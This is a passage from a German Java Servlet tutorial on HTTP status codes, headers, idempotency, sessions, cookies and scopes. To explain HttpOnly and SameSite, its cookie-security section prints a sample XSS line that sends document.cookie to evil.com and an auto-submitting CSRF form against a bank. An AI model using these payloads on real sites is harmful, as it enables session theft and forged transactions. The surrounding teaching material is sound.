Bedeutung: Der User ist authentifiziert, aber nicht autorisiert.
Verwendung: Wenn User eingeloggt ist, aber keine Rechte hat.
@WebServlet("/admin/delete")
public class DeleteUserServlet extends HttpServlet {
@Override
protected void doDelete(HttpServletRequest request,
HttpServletResponse response) {
HttpSession session = request.getSession();
User user = (User) session.getAttribute("user");
if (user == null) {
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); // 401
return;
}
if (!user.hasRole("ADMIN")) {
// Eingeloggt, aber kein Admin → 403
response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403
response.getWriter().println("You don't have permission");
return;
}
// Admin → Löschen erlaubt
// ...
}
}
Der Unterschied:
- 401 Unauthorized: „Wer bist du?“ (Login erforderlich)
- 403 Forbidden: „Ich weiß wer du bist, aber du darfst das nicht“ (Rechte fehlen)
404 Not Found
Bedeutung: Die angeforderte Ressource existiert nicht.
Verwendung: Wenn eine Ressource nicht gefunden wurde.
@WebServlet("/products/*")
public class ProductServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
String pathInfo = request.getPathInfo(); // z.B. "/123"
if (pathInfo == null || pathInfo.equals("/")) {
// Keine ID angegeben
listAllProducts(response);
return;
}
String id = pathInfo.substring(1);
Product product = productDAO.findById(Long.parseLong(id));
if (product == null) {
// Produkt nicht gefunden → 404
response.setStatus(HttpServletResponse.SC_NOT_FOUND); // 404
response.getWriter().println("Product not found");
return;
}
// Produkt gefunden → anzeigen
response.getWriter().println(product.toJson());
}
}
409 Conflict
Bedeutung: Der Request kann nicht ausgeführt werden, weil er mit dem aktuellen Zustand in Konflikt steht.
Verwendung: Bei Concurrent Updates, doppelten Einträgen, etc.
@Override
protected void doPost(HttpServletRequest request,
HttpServletResponse response) {
String email = request.getParameter("email");
// Prüfen ob Email schon existiert
if (userDAO.existsByEmail(email)) {
// Email bereits vergeben → 409 Conflict
response.setStatus(HttpServletResponse.SC_CONFLICT); // 409
response.getWriter().println("Email already registered");
return;
}
// Email verfügbar → User erstellen
// ...
}
5xx – Server Error
500 Internal Server Error
Bedeutung: Ein unerwarteter Fehler ist auf dem Server aufgetreten.
Verwendung: Für unbehandelte Exceptions.
@WebServlet("/products")
public class ProductServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
try {
List<Product> products = productDAO.findAll();
response.getWriter().println(toJson(products));
} catch (SQLException e) {
// Datenbankfehler → 500
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
response.getWriter().println("Database error occurred");
// Exception loggen!
e.printStackTrace();
}
}
}
Wichtig:
Zeige dem User NIEMALS den vollständigen Stack Trace! Das ist ein Sicherheitsrisiko!
// FALSCH!
catch (Exception e) {
response.getWriter().println(e.getMessage());
e.printStackTrace(response.getWriter()); // ❌ Niemals!
}
// RICHTIG!
catch (Exception e) {
response.getWriter().println("An error occurred");
logger.error("Error processing request", e); // Log nur auf Server
}
503 Service Unavailable
Bedeutung: Der Server ist temporär nicht verfügbar (Wartung, Überlastung).
Verwendung: Während Wartungsfenstern oder bei Überlastung.
@WebServlet("/products")
public class ProductServlet extends HttpServlet {
private static boolean maintenanceMode = false;
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
if (maintenanceMode) {
response.setStatus(HttpServletResponse.SC_SERVICE_UNAVAILABLE); // 503
response.setHeader("Retry-After", "3600"); // In 1 Stunde wieder da
response.getWriter().println("System under maintenance");
return;
}
// Normal verarbeiten
// ...
}
}
🟢 GRUNDLAGEN: HTTP-Headers verstehen
Was sind Headers?
Headers sind Metadaten über den Request oder die Response. Sie stehen im HTTP-Header-Bereich, vor dem Body.
Request-Headers:
GET /products HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 Accept: text/html Accept-Language: de-DE,de;q=0.9 Cookie: JSESSIONID=ABC123
Response-Headers:
HTTP/1.1 200 OK Date: Sat, 25 Oct 2025 10:00:00 GMT Server: Payara Server 6.0 Content-Type: text/html;charset=UTF-8 Content-Length: 1234 Set-Cookie: JSESSIONID=ABC123; Path=/
Request-Headers (vom Client)
Host
Zweck: Gibt den Zielserver an.
Host: localhost:8080
Wichtig für Virtual Hosting:
Ein Server kann mehrere Domains hosten:
Host: shop.example.com → Webshop Host: blog.example.com → Blog
Der Server entscheidet anhand des Host-Headers, welche Anwendung angesprochen wird.
User-Agent
Zweck: Identifiziert den Client (Browser, App, Bot).
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
In Java lesen:
String userAgent = request.getHeader("User-Agent");
if (userAgent.contains("Mobile")) {
// Mobile Version anzeigen
} else {
// Desktop Version anzeigen
}
Accept
Zweck: Gibt an, welche Content-Types der Client akzeptiert.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Was bedeutet q=0.9?
Das ist die „quality“ – eine Gewichtung:
text/html (q=1.0, implizit) → am liebsten HTML application/xml (q=0.9) → XML ist auch okay */* (q=0.8) → alles andere geht zur Not
Content Negotiation:
String accept = request.getHeader("Accept");
if (accept.contains("application/json")) {
response.setContentType("application/json");
response.getWriter().println(product.toJson());
} else {
response.setContentType("text/html");
response.getWriter().println(product.toHtml());
}
Accept-Language
Zweck: Gibt die bevorzugte Sprache des Users an.
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
In Java:
Locale locale = request.getLocale(); // Gibt "de_DE" zurück String language = locale.getLanguage(); // "de"
Cookie
Zweck: Sendet Cookies vom Client an Server.
Cookie: JSESSIONID=ABC123; theme=dark
In Java:
Cookie[] cookies = request.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
if ("theme".equals(cookie.getName())) {
String theme = cookie.getValue(); // "dark"
}
}
}
Referer (sic!)
Zweck: Von welcher Seite kam der User?
Referer: https://google.com/search?q=java+tutorial
Verwendung: Tracking, Analytics, Back-Links.
Ja, es ist wirklich „Referer“ (falsch geschrieben) im HTTP-Standard! 😄
Response-Headers (vom Server)
Content-Type
Zweck: Gibt an, welcher Datentyp im Body ist.
Content-Type: text/html;charset=UTF-8
In Java:
response.setContentType("text/html;charset=UTF-8");
response.setContentType("application/json");
response.setContentType("application/pdf");
response.setContentType("image/png");
Wichtig: IMMER setzen! Sonst interpretiert der Browser den Body falsch.
Content-Length
Zweck: Größe des Response-Body in Bytes.
Content-Length: 1234
Wird meist automatisch vom Webcontainer gesetzt.
Set-Cookie
Zweck: Setzt einen Cookie im Browser.
Set-Cookie: theme=dark; Path=/; Max-Age=3600 Set-Cookie: JSESSIONID=ABC123; Path=/; HttpOnly
In Java:
Cookie cookie = new Cookie("theme", "dark");
cookie.setMaxAge(3600); // 1 Stunde
cookie.setPath("/");
response.addCookie(cookie);
Cookie-Attribute:
Path=/→ Cookie gilt für alle URLs unter /Max-Age=3600→ Cookie lebt 3600 SekundenHttpOnly→ JavaScript kann nicht auf Cookie zugreifen (Security!)Secure→ Cookie wird nur über HTTPS gesendetSameSite=Strict→ CSRF-Schutz
Location
Zweck: Gibt bei Redirects (3xx) oder 201 Created die neue URL an.
Location: /dashboard Location: /products/123
In Java:
response.sendRedirect("/dashboard");
// oder manuell:
response.setStatus(302);
response.setHeader("Location", "/dashboard");
Cache-Control
Zweck: Steuert Caching-Verhalten.
Cache-Control: no-cache Cache-Control: max-age=3600 Cache-Control: public
In Java:
// Nicht cachen
response.setHeader("Cache-Control", "no-cache, no-store, must-revalidate");
// 1 Stunde cachen
response.setHeader("Cache-Control", "max-age=3600");
🟡 PROFESSIONALS: Idempotenz & HTTP-Eigenschaften
Die erweiterte HTTP-Methoden-Tabelle
Für Production-Ready Code musst du die technischen Eigenschaften der HTTP-Methoden verstehen:
| Methode | Zweck | Idempotent? | Safe? |
|---|---|---|---|
| GET | Ressource abrufen | ✅ Ja | ✅ Ja |
| POST | Ressource erstellen / Daten senden | ❌ Nein | ❌ Nein |
| PUT | Ressource ersetzen | ✅ Ja | ❌ Nein |
| DELETE | Ressource löschen | ✅ Ja | ❌ Nein |
| PATCH | Ressource teilweise ändern | ❌ Nein | ❌ Nein |
| HEAD | Wie GET, aber nur Headers | ✅ Ja | ✅ Ja |
| OPTIONS | Zeigt erlaubte Methoden | ✅ Ja | ✅ Ja |
| CONNECT | Tunnel etablieren | ❌ Nein | ❌ Nein |
| TRACE | Echo des Requests | ✅ Ja | ✅ Ja |
Was bedeutet „Idempotent“?
Eine Methode ist idempotent, wenn mehrfaches Ausführen das gleiche Ergebnis liefert wie einmaliges Ausführen.
Beispiel DELETE (idempotent):
DELETE /products/123 1. Ausführung: Produkt 123 wird gelöscht → 200 OK 2. Ausführung: Produkt 123 ist schon weg → 404 Not Found 3. Ausführung: Produkt 123 ist schon weg → 404 Not Found
Das Endergebnis ist das gleiche (Produkt ist weg) – also ist DELETE idempotent.
Beispiel POST (nicht idempotent):
POST /products
Body: {"name": "Laptop", "price": 999}
1. Ausführung: Erstellt Produkt mit ID 100 → 201 Created
2. Ausführung: Erstellt Produkt mit ID 101 → 201 Created
3. Ausführung: Erstellt Produkt mit ID 102 → 201 Created
Jedes Mal ein neues Produkt – also ist POST NICHT idempotent.
Warum ist das wichtig?
Bei Netzwerkfehlern oder Timeouts können Requests automatisch wiederholt werden. Bei idempotenten Methoden ist das sicher – bei nicht-idempotenten Methoden entstehen Duplikate.
Was bedeutet „Safe“?
Eine Methode ist safe, wenn sie den Server-Zustand nicht verändert. Sie ist nur lesend.
Safe:
- GET – liest nur Daten
- HEAD – liest nur Headers
- OPTIONS – fragt nur Optionen ab
Nicht Safe:
- POST – erstellt Daten
- PUT – ersetzt Daten
- DELETE – löscht Daten
- PATCH – ändert Daten
Warum ist das wichtig?
Safe-Methoden können gecacht werden, von Proxies vorgefetcht werden, und bei Fehlern ohne Risiko wiederholt werden.
Best Practices für Production
1. GET niemals für Datenänderungen verwenden:
// ❌ FALSCH - Verändert Zustand mit GET!
@WebServlet("/deleteProduct")
protected void doGet(HttpServletRequest request, HttpServletResponse response) {
String id = request.getParameter("id");
productDAO.delete(id); // GEFÄHRLICH!
}
Problem: Crawler, Browser-Prefetch, Proxies können GET-Requests automatisch ausführen → Daten werden ungewollt gelöscht!
// ✅ RICHTIG - Verwende DELETE oder POST
@WebServlet("/deleteProduct")
protected void doDelete(HttpServletRequest request, HttpServletResponse response) {
String id = request.getParameter("id");
productDAO.delete(id); // Sicher!
}
2. PUT für vollständiges Ersetzen, PATCH für teilweise Updates:
// PUT - Komplettes Objekt ersetzen
PUT /users/123
{
"name": "Anna Schmidt",
"email": "anna@example.com",
"phone": "+49 123 456789"
}
// → Alle Felder werden ersetzt
// PATCH - Nur einzelne Felder ändern
PATCH /users/123
{
"phone": "+49 987 654321"
}
// → Nur phone wird geändert, Rest bleibt
3. Idempotenz für kritische Operationen nutzen:
Für Zahlungen, Bestellungen etc. solltest du Idempotency Keys implementieren:
@WebServlet("/order")
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
String idempotencyKey = request.getHeader("Idempotency-Key");
// Prüfe ob Order mit diesem Key schon existiert
if (orderDAO.existsByKey(idempotencyKey)) {
// Order wurde schon erstellt - sende existierende Order zurück
Order existing = orderDAO.findByKey(idempotencyKey);
response.setStatus(200);
return;
}
// Erstelle neue Order
Order order = createOrder(request, idempotencyKey);
response.setStatus(201);
}
→ Wenn Client den Request wiederholt (Timeout, Netzwerkfehler), wird keine Duplikat-Order erstellt!
PUT – Ressource vollständig ersetzen
Zweck:
Eine bestehende Ressource komplett ersetzen.
Eigenschaften:
- ✅ Idempotent (mehrfaches Ausführen = gleiches Ergebnis)
- ❌ Nicht Safe (verändert Server-Zustand)
HTTP-Request:
PUT /products/123 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{
"name": "Laptop Pro",
"category": "Electronics",
"price": 1499.99
}
HTTP-Response:
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 123,
"name": "Laptop Pro",
"category": "Electronics",
"price": 1499.99
}
In Java:
@WebServlet("/products/*")
public class ProductServlet extends HttpServlet {
@Override
protected void doPut(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
// ID aus URL extrahieren: /products/123 → "123"
String pathInfo = request.getPathInfo();
if (pathInfo == null || pathInfo.length() <= 1) {
response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Product ID missing");
return;
}
String id = pathInfo.substring(1);
// JSON aus Request Body parsen (z.B. mit Jackson/Gson)
// Hier vereinfacht:
BufferedReader reader = request.getReader();
StringBuilder json = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
json.append(line);
}
// Produkt erstellen und ID setzen
Product product = parseProductFromJson(json.toString());
product.setId(Long.parseLong(id));
// Komplettes Produkt ersetzen in DB
boolean updated = productDAO.update(product);
if (updated) {
response.setStatus(HttpServletResponse.SC_OK);
response.setContentType("application/json");
response.getWriter().println(toJson(product));
} else {
response.sendError(HttpServletResponse.SC_NOT_FOUND, "Product not found");
}
}
}
Wichtig:
PUT ersetzt das GESAMTE Objekt. Felder, die nicht im Request sind, werden gelöscht!
Vorher: {id: 123, name: "Laptop", price: 999, category: "Electronics"}
PUT /products/123
{name: "Laptop Pro", price: 1299}
Nachher: {id: 123, name: "Laptop Pro", price: 1299, category: null}
↑ category ist WEG!
DELETE – Ressource löschen
Zweck:
Eine Ressource vom Server löschen.
Eigenschaften:
- ✅ Idempotent (mehrfaches Löschen = gleiches Ergebnis)
- ❌ Nicht Safe (verändert Server-Zustand)
HTTP-Request:
DELETE /products/123 HTTP/1.1 Host: localhost:8080
HTTP-Response:
HTTP/1.1 204 No Content
Oder bei Fehler:
HTTP/1.1 404 Not Found
In Java:
@WebServlet("/products/*")
public class ProductServlet extends HttpServlet {
@Override
protected void doDelete(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
// ID aus URL: /products/123 → "123"
String pathInfo = request.getPathInfo();
if (pathInfo == null || pathInfo.length() <= 1) {
response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Product ID missing");
return;
}
String id = pathInfo.substring(1);
// Prüfen ob Produkt existiert
Product product = productDAO.findById(Long.parseLong(id));
if (product == null) {
response.sendError(HttpServletResponse.SC_NOT_FOUND,
"Product with ID " + id + " not found");
return;
}
// Produkt löschen
productDAO.delete(Long.parseLong(id));
// 204 No Content (erfolgreich gelöscht, kein Response-Body nötig)
response.setStatus(HttpServletResponse.SC_NO_CONTENT);
}
}
Idempotenz bei DELETE:
1. DELETE /products/123 → 204 No Content (gelöscht) 2. DELETE /products/123 → 404 Not Found (schon weg) 3. DELETE /products/123 → 404 Not Found (schon weg)
Das Endergebnis ist immer gleich: Produkt 123 existiert nicht mehr → Idempotent!
PATCH – Ressource teilweise ändern
Zweck:
Nur einzelne Felder einer Ressource ändern (nicht das ganze Objekt ersetzen).
Eigenschaften:
- ❌ Nicht Idempotent (kann unterschiedliche Ergebnisse haben)
- ❌ Nicht Safe (verändert Server-Zustand)
Unterschied zu PUT:
Vorher: { "name": "Laptop", "price": 999, "category": "Electronics" }
PUT /products/123
Body: { "name": "Laptop Pro", "price": 1299 }
Nachher: { "name": "Laptop Pro", "price": 1299, "category": null }
↑ category ist WEG! (PUT ersetzt ALLES)
PATCH /products/123
Body: { "price": 1299 }
Nachher: { "name": "Laptop", "price": 1299, "category": "Electronics" }
↑ name und category bleiben erhalten! (PATCH ändert nur angegebene Felder)
HTTP-Request:
PATCH /products/123 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{
"price": 1299.99
}
In Java:
Wichtig: HttpServlet hat KEINE doPatch() Methode! Du musst service() überschreiben:
@WebServlet("/products/*")
public class ProductServlet extends HttpServlet {
@Override
protected void service(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
String method = request.getMethod();
if (method.equals("PATCH")) {
doPatch(request, response);
} else {
super.service(request, response); // GET, POST, PUT, DELETE
}
}
protected void doPatch(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
// ID aus URL
String pathInfo = request.getPathInfo();
String id = pathInfo.substring(1);
// Existierendes Produkt holen
Product product = productDAO.findById(Long.parseLong(id));
if (product == null) {
response.sendError(HttpServletResponse.SC_NOT_FOUND);
return;
}
// JSON parsen und NUR angegebene Felder ändern
// (z.B. mit Jackson: ObjectMapper kann partial updates)
JsonNode patch = objectMapper.readTree(request.getReader());
if (patch.has("name")) {
product.setName(patch.get("name").asText());
}
if (patch.has("price")) {
product.setPrice(patch.get("price").asDouble());
}
if (patch.has("category")) {
product.setCategory(patch.get("category").asText());
}
// Produkt updaten
productDAO.update(product);
response.setStatus(HttpServletResponse.SC_OK);
response.setContentType("application/json");
response.getWriter().println(toJson(product));
}
}
Warum ist PATCH nicht idempotent?
Kommt drauf an! Wenn du machst:
PATCH /counter
{ "value": 42 }
→ Idempotent (setzt immer auf 42)
Aber wenn du machst:
PATCH /counter
{ "increment": 1 }
→ NICHT idempotent (jeder Request erhöht den Wert um 1)
🟡 PROFESSIONALS: Zustandslosigkeit und Sessions
Das Problem: HTTP ist zustandslos
Was bedeutet das?
Jeder HTTP-Request ist unabhängig. Der Server „erinnert sich nicht“ an vorherige Requests.
Beispiel:
Request 1: GET /login → Zeige Login-Formular Request 2: POST /login → Validiere Credentials (email=anna@example.com) Request 3: GET /dashboard → ???
Problem bei Request 3:
Der Server hat vergessen, dass in Request 2 jemand eingeloggt hat!
// Request 2:
if (authenticate(email, password)) {
// Erfolgreich eingeloggt!
// Aber wie merke ich mir das für Request 3?
}
// Request 3:
// Wer ist der User? Keine Ahnung!
Die Lösung: Sessions mit Cookies
Konzept:
- Server erstellt eine Session-ID (z.B. „ABC123“)
- Server schickt Session-ID als Cookie an Browser
- Browser speichert Cookie
- Browser sendet Cookie bei jedem weiteren Request mit
- Server erkennt anhand der Session-ID: „Ah, das ist Anna!“
Schritt-für-Schritt:
Browser Server | | |---- GET /login ------------------->| | | [Zeige Login-Form] |<--- 200 OK (HTML Form) ------------| | | |---- POST /login ------------------>| | email=anna&password=123 | | | [Validierung erfolgreich] | | [Erstelle Session: ID=ABC123] | | [Speichere: ABC123 → user=anna] |<--- 302 Redirect ------------------| | Set-Cookie: JSESSIONID=ABC123 | | Location: /dashboard | | | |---- GET /dashboard ---------------->| | Cookie: JSESSIONID=ABC123 | | | [Lese Session ABC123] | | [Finde: user=anna] |<--- 200 OK (Dashboard für Anna) ---|
Wichtig:
Der Browser sendet den Cookie automatisch bei jedem weiteren Request mit! Du musst nichts machen.
Sessions in Java – Die API
Session erstellen oder holen
@WebServlet("/login")
public class LoginServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request,
HttpServletResponse response) {
String email = request.getParameter("email");
String password = request.getParameter("password");
if (authenticate(email, password)) {
// Session erstellen oder existierende holen
HttpSession session = request.getSession();
// Session-ID (wird automatisch erstellt)
String sessionId = session.getId(); // "ABC123..."
// Daten am Session-Scope hängen (server-seitig!)
session.setAttribute("user", email);
session.setAttribute("loginTime", new Date());
// Redirect
response.sendRedirect("/dashboard");
}
}
}
Was passiert intern?
request.getSession()prüft:- Hat der Request einen Session-Cookie?
- Nein → Erstelle neue Session mit neuer ID
- Ja → Finde existierende Session anhand der ID
- Session-ID wird als Cookie gesendet:
Set-Cookie: JSESSIONID=ABC123; Path=/; HttpOnly - Browser speichert Cookie
- Bei nächstem Request:
Cookie: JSESSIONID=ABC123 - Server findet Session anhand ID
Session-Daten lesen
@WebServlet("/dashboard")
public class DashboardServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
// Session holen (ohne neue zu erstellen!)
HttpSession session = request.getSession(false);
if (session == null) {
// Keine Session → nicht eingeloggt
response.sendRedirect("/login");
return;
}
// Daten aus Session lesen
String user = (String) session.getAttribute("user");
if (user == null) {
// Session existiert, aber kein User drin → nicht eingeloggt
response.sendRedirect("/login");
return;
}
// User ist eingeloggt → Dashboard anzeigen
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<h1>Welcome, " + user + "!</h1>");
}
}
Wichtig:
request.getSession() // Erstellt neue Session falls keine existiert request.getSession(true) // Gleich wie oben request.getSession(false) // Erstellt KEINE neue Session (gibt null zurück)
Wann welche Variante?
- Login:
request.getSession()→ Erstelle neue Session - Dashboard/Protected Pages:
request.getSession(false)→ Nur existierende Session
Session-Daten löschen
@WebServlet("/logout")
public class LogoutServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request,
HttpServletResponse response) {
HttpSession session = request.getSession(false);
if (session != null) {
// Session komplett zerstören
session.invalidate();
}
response.sendRedirect("/login?message=logged-out");
}
}
Was macht invalidate()?
- Löscht alle Session-Daten
- Löscht die Session vom Server
- Browser behält Cookie, aber Session-ID ist ungültig
Session-Timeout
Standard-Timeout:
Standardmäßig läuft eine Session nach 30 Minuten Inaktivität ab.
Konfigurieren in web.xml:
<web-app>
<session-config>
<session-timeout>60</session-timeout> <!-- Minuten -->
</session-config>
</web-app>
Programmatisch setzen:
HttpSession session = request.getSession(); session.setMaxInactiveInterval(3600); // 3600 Sekunden = 1 Stunde
Session-Informationen abfragen:
HttpSession session = request.getSession(); // Wann erstellt? long creationTime = session.getCreationTime(); // Letzter Zugriff? long lastAccessedTime = session.getLastAccessedTime(); // Timeout? int timeout = session.getMaxInactiveInterval(); // in Sekunden
Was wird am Session-Scope gehängt?
Gute Praxis:
// ✅ Kleine, einfache Objekte am Session-Scope hängen
session.setAttribute("userId", 123);
session.setAttribute("username", "anna");
session.setAttribute("role", "admin");
session.setAttribute("cart", new ArrayList<Integer>()); // Warenkorb-IDs
Schlechte Praxis:
// ❌ Große Objekte (Memory-Problem bei vielen Sessions!)
session.setAttribute("allProducts", productDAO.findAll()); // 10.000 Produkte!
// ❌ Datenbankverbindungen (niemals!)
session.setAttribute("connection", conn);
// ❌ Nicht-serialisierbare Objekte (bei Clustering problematisch)
session.setAttribute("myObject", new NonSerializableClass());
Warum nicht große Daten?
1000 User online Jeder hat 100 Produkte in Session = 100.000 Objekte im RAM = Server stirbt!
Besser:
// Nur IDs speichern
List<Integer> cartIds = (List<Integer>) session.getAttribute("cart");
// Bei Bedarf aus DB laden
List<Product> products = productDAO.findByIds(cartIds);
🟡 PROFESSIONALS: Cookies im Detail
Cookies manuell setzen
Einfacher Cookie:
Cookie cookie = new Cookie("username", "anna");
response.addCookie(cookie);
Cookie mit Optionen:
Cookie cookie = new Cookie("theme", "dark");
cookie.setMaxAge(7 * 24 * 60 * 60); // 7 Tage
cookie.setPath("/");
cookie.setHttpOnly(true); // JavaScript kann nicht zugreifen
cookie.setSecure(true); // Nur über HTTPS
response.addCookie(cookie);
Cookies auslesen
Cookie[] cookies = request.getCookies();
String theme = null;
if (cookies != null) {
for (Cookie cookie : cookies) {
if ("theme".equals(cookie.getName())) {
theme = cookie.getValue();
break;
}
}
}
// theme ist entweder "dark" oder null
Helper-Methode:
private String getCookieValue(HttpServletRequest request, String name) {
Cookie[] cookies = request.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
if (name.equals(cookie.getName())) {
return cookie.getValue();
}
}
}
return null;
}
// Verwendung:
String theme = getCookieValue(request, "theme");
Cookie löschen
Trick: Setze MaxAge auf 0!
Cookie cookie = new Cookie("theme", "");
cookie.setMaxAge(0); // Sofort löschen
cookie.setPath("/");
response.addCookie(cookie);
Cookie-Security
HttpOnly
Problem: JavaScript kann Cookies lesen!
// In der Browser-Konsole: document.cookie; // "JSESSIONID=ABC123; theme=dark"
Sicherheitsrisiko: XSS-Angriff kann Session-Cookie stehlen!
// Angreifer injiziert:
<script>
fetch('http://evil.com/steal?cookie=' + document.cookie);
</script>
Lösung: HttpOnly Flag
Cookie cookie = new Cookie("JSESSIONID", sessionId);
cookie.setHttpOnly(true); // JavaScript kann nicht zugreifen!
response.addCookie(cookie);
Jetzt kann JavaScript den Cookie nicht mehr lesen!
Secure Flag
Problem: Cookies werden über HTTP (unverschlüsselt) gesendet!
Lösung: Secure-Flag setzt → Cookie nur über HTTPS
Cookie cookie = new Cookie("JSESSIONID", sessionId);
cookie.setSecure(true); // Nur über HTTPS
response.addCookie(cookie);
SameSite Attribute
Problem: CSRF-Angriffe (Cross-Site Request Forgery)
<!-- Böse Seite evil.com --> <form action="https://bank.com/transfer" method="post"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="10000"> </form> <script>document.forms[0].submit();</script>
Wenn User auf bank.com eingeloggt ist, wird der Session-Cookie mitgesendet!
Lösung: SameSite-Attribut
// In neueren Servlet-Versionen:
Cookie cookie = new Cookie("JSESSIONID", sessionId);
cookie.setAttribute("SameSite", "Strict");
// Browser sendet Cookie nur bei Requests von gleicher Domain!
SameSite-Modi:
Strict: Cookie nur bei Requests von gleicher DomainLax: Cookie bei Top-Level-Navigation (Links okay, Forms nicht)None: Cookie immer mitschicken (braucht Secure-Flag!)
🟡 PROFESSIONALS: Scopes verstehen
In Java Web-Anwendungen gibt es verschiedene „Scopes“ – Bereiche, in denen Daten gespeichert werden können.
Die vier Scopes
| Scope | Lebensdauer | Verwendung |
|---|---|---|
| Page | Eine JSP-Seite | Nur in JSPs (nicht in Servlets) |
| Request | Ein HTTP-Request | Daten zwischen Servlet und JSP weitergeben |
| Session | Eine User-Session | User-spezifische Daten (Login, Warenkorb) |
| Application | Gesamte Anwendung | Geteilte Daten für alle User |
Request-Scope
Lebensdauer: Ein einziger HTTP-Request (inkl. Forward zu JSP)
Verwendung:
@WebServlet("/products")
public class ProductServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
// Daten laden
List<Product> products = productDAO.findAll();
// In Request-Scope speichern
request.setAttribute("products", products);
request.setAttribute("pageTitle", "All Products");
// Forward zu JSP
request.getRequestDispatcher("/WEB-INF/views/products.jsp")
.forward(request, response);
// Nach der Response sind die Attribute WEG!
}
}
In der JSP:
<%-- products.jsp --%>
<h1>${pageTitle}</h1>
<c:forEach items="${products}" var="product">
<p>${product.name} - ${product.price}</p>
</c:forEach>
Wichtig:
Request-Attribute existieren NUR während dieses einen Requests! Bei nächstem Request sind sie weg.
Session-Scope
Lebensdauer: Die gesamte User-Session (bis Logout oder Timeout)
Verwendung:
@WebServlet("/add-to-cart")
public class AddToCartServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request,
HttpServletResponse response) {
String productId = request.getParameter("productId");
HttpSession session = request.getSession();
// Warenkorb aus Session holen (oder neu erstellen)
@SuppressWarnings("unchecked")
List<String> cart = (List<String>) session.getAttribute("cart");
if (cart == null) {
cart = new ArrayList<>();
}
// Produkt hinzufügen
cart.add(productId);
// Zurück am Session-Scope hängen
session.setAttribute("cart", cart);
response.sendRedirect("/cart");
}
}
In einer anderen Servlet:
@WebServlet("/cart")
public class CartServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
HttpSession session = request.getSession();
// Warenkorb aus Session holen
@SuppressWarnings("unchecked")
List<String> cart = (List<String>) session.getAttribute("cart");
if (cart == null) {
cart = new ArrayList<>();
}
// Warenkorb anzeigen
request.setAttribute("cartItems", cart);
request.getRequestDispatcher("/WEB-INF/views/cart.jsp")
.forward(request, response);
}
}
Application-Scope
Lebensdauer: Die gesamte Laufzeit der Anwendung
Verwendung: Für Daten, die für ALLE User gleich sind
@WebServlet("/admin/config")
public class ConfigServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request,
HttpServletResponse response) {
String maintenanceMode = request.getParameter("maintenance");
// Application-Scope (ServletContext)
ServletContext context = getServletContext();
context.setAttribute("maintenanceMode", maintenanceMode);
// Jetzt können ALLE Servlets darauf zugreifen!
response.getWriter().println("Config updated");
}
}
In einer anderen Servlet:
@WebServlet("/products")
public class ProductServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
// Application-Scope lesen
ServletContext context = getServletContext();
String maintenanceMode = (String) context.getAttribute("maintenanceMode");
if ("true".equals(maintenanceMode)) {
response.getWriter().println("System under maintenance");
return;
}
// Normal verarbeiten
// ...
}
}
Wichtig:
Application-Scope ist SHARED für alle User! Änderungen betreffen ALLE.
Scope-Priorität
Was passiert, wenn das gleiche Attribut in mehreren Scopes existiert?
// Application-Scope
servletContext.setAttribute("message", "Hello from Application");
// Session-Scope
session.setAttribute("message", "Hello from Session");
// Request-Scope
request.setAttribute("message", "Hello from Request");
In JSP:
${message} <!-- Welches wird angezeigt? -->
Priorität (von höchster zu niedrigster):
- Page Scope (nur in JSP)
- Request Scope ← Höchste Priorität
- Session Scope
- Application Scope ← Niedrigste Priorität
Also: ${message} zeigt „Hello from Request“
🔵 BONUS: HTTP/2 und HTTP/3
Was ist neu in HTTP/2?
HTTP/2 (2015) bringt Performance-Verbesserungen:
1. Multiplexing
HTTP/1.1:
Browser öffnet 6 Connections zu Server Request 1 → Response 1 Request 2 → Response 2 ...
HTTP/2:
Browser öffnet 1 Connection Request 1, 2, 3, 4, 5, 6 gleichzeitig → Responses parallel
2. Server Push
Server kann Ressourcen schicken, BEVOR Browser sie anfragt:
Browser: GET /index.html
Server: Hier ist index.html
UND hier ist style.css (wirst du eh brauchen!)
UND hier ist script.js
3. Header Compression
HTTP/1.1 Headers wiederholen sich:
GET /page1 HTTP/1.1 User-Agent: Mozilla/5.0... <-- 200 Bytes Cookie: ... <-- 500 Bytes GET /page2 HTTP/1.1 User-Agent: Mozilla/5.0... <-- WIEDER 200 Bytes Cookie: ... <-- WIEDER 500 Bytes
HTTP/2 komprimiert und cached Headers!
HTTP/3 (QUIC)
HTTP/3 (2022) läuft über QUIC (UDP statt TCP):
Vorteil: Schnellerer Verbindungsaufbau, besser bei Packet Loss
Für dich als Entwickler: Kein Unterschied! Die API bleibt gleich.
💬 Real Talk: Debugging-Session am Nachmittag
